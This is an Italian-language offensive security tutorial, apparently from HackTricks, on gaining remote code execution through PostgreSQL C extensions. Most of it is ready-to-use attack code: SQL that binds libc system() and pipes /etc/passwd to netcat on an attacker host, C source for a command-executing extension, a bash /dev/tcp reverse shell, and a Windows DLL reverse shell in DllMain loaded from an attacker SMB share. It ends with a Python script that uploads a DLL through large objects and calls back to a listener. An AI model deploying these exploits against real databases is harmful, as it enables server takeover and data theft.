RCE with PostgreSQL Extensions

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Estensioni PostgreSQL

PostgreSQL è stato sviluppato con l'estensibilità come caratteristica principale, consentendo di integrare senza soluzione di continuità estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.

A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilati con un'intestazione speciale. Senza di essa, PostgreSQL non le eseguirà, garantendo l'utilizzo solo di estensioni compatibili e potenzialmente sicure.

Inoltre, tieni presente che se non sai come caricare file sulla vittima sfruttando PostgreSQL, dovresti leggere questo post.

RCE in Linux

Per ulteriori informazioni, consulta: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

L'esecuzione di comandi di sistema da PostgreSQL 8.1 e versioni precedenti è un processo che è stato chiaramente documentato ed è semplice. È possibile utilizzare questo: modulo Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Scrivi un file binario da base64

Per scrivere un file binario in postgres potrebbe essere necessario utilizzare base64, questo sarà utile per tale scopo:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Tuttavia, quando è stato tentato su versioni più recenti è stato mostrato il seguente errore:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Questo errore è spiegato nella documentazione di PostgreSQL:

Per garantire che un file di oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "blocco magico" con i contenuti appropriati. Ciò consente al server di rilevare incompatibilità evidenti, come il codice compilato per una versione principale diversa di PostgreSQL. Un blocco magico è richiesto a partire da PostgreSQL 8.2. Per includere un blocco magico, scrivi questo in uno (e solo uno) dei file di origine del modulo, dopo aver incluso l'intestazione fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

A partire dalla versione 8.2 di PostgreSQL, è stato reso più difficile per un attaccante sfruttare il sistema. L'attaccante deve utilizzare una libreria già presente nel sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata con la versione principale compatibile di PostgreSQL e deve includere un "blocco magico" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più approfondita dell'architettura del sistema e della compatibilità delle versioni.

Compilare la libreria

Ottieni la versione di PostgreSQL con:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Per garantire la compatibilità, è essenziale che le versioni principali siano allineate. Pertanto, compilare una libreria con qualsiasi versione all'interno della serie 9.6.x dovrebbe garantire un'integrazione riuscita.

Per installare quella versione nel tuo sistema:

apt install postgresql postgresql-server-dev-9.6

E compilare la libreria:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Quindi carica la libreria compilata ed esegui comandi con:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Puoi trovare questa libreria precompilata per diverse versioni di PostgreSQL e puoi anche automatizzare questo processo (se hai accesso a PostgreSQL) con:

RCE in Windows

La seguente DLL prende in input il nome del binario e il numero di volte che desideri eseguirlo e lo esegue:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Puoi trovare la DLL compilata in questo zip:

Puoi indicare a questa DLL quale binario eseguire e il numero di volte da eseguirlo, in questo esempio eseguirà calc.exe 2 volte:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

In questo link puoi trovare questa reverse-shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Nota come in questo caso il codice maligno è all'interno della funzione DllMain. Ciò significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta caricare la DLL per eseguire la reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE nelle versioni più recenti di PostgreSQL

Nelle ultime versioni di PostgreSQL sono state imposte delle restrizioni in cui l'utente superuser è proibito dal caricare file di librerie condivise, tranne che da specifiche directory, come ad esempio C:\Program Files\PostgreSQL\11\lib su Windows o /var/lib/postgresql/11/lib su sistemi *nix. Queste directory sono protette contro le operazioni di scrittura da parte degli account NETWORK_SERVICE o postgres.

Nonostante queste restrizioni, è possibile per un utente superuser autenticato scrivere file binari nel filesystem utilizzando "oggetti di grandi dimensioni" (large objects). Questa capacità si estende alla scrittura all'interno della directory C:\Program Files\PostgreSQL\11\data, che è essenziale per le operazioni di database come l'aggiornamento o la creazione di tabelle.

Una vulnerabilità significativa deriva dal comando CREATE FUNCTION, che permette la traversa delle directory nella directory dei dati. Di conseguenza, un attaccante autenticato potrebbe sfruttare questa traversa per scrivere un file di libreria condivisa nella directory dei dati e quindi caricarlo. Questo exploit consente all'attaccante di eseguire codice arbitrario, ottenendo l'esecuzione di codice nativo nel sistema.

Flusso dell'attacco

Prima di tutto è necessario utilizzare oggetti di grandi dimensioni per caricare il file dll. Puoi vedere come fare ciò qui:

pageBig Binary Files Upload (PostgreSQL)

Una volta caricata l'estensione (con il nome di poc.dll per questo esempio) nella directory dei dati, puoi caricarla con:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Nota che non è necessario aggiungere l'estensione .dll poiché la funzione di creazione la aggiungerà.

Per ulteriori informazioni leggi la pubblicazione originale qui. In quella pubblicazione questo era il codice utilizzato per generare l'estensione postgres (per imparare come compilare un'estensione postgres leggi una delle versioni precedenti). Nella stessa pagina è stato fornito uno script per automatizzare questa tecnica:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated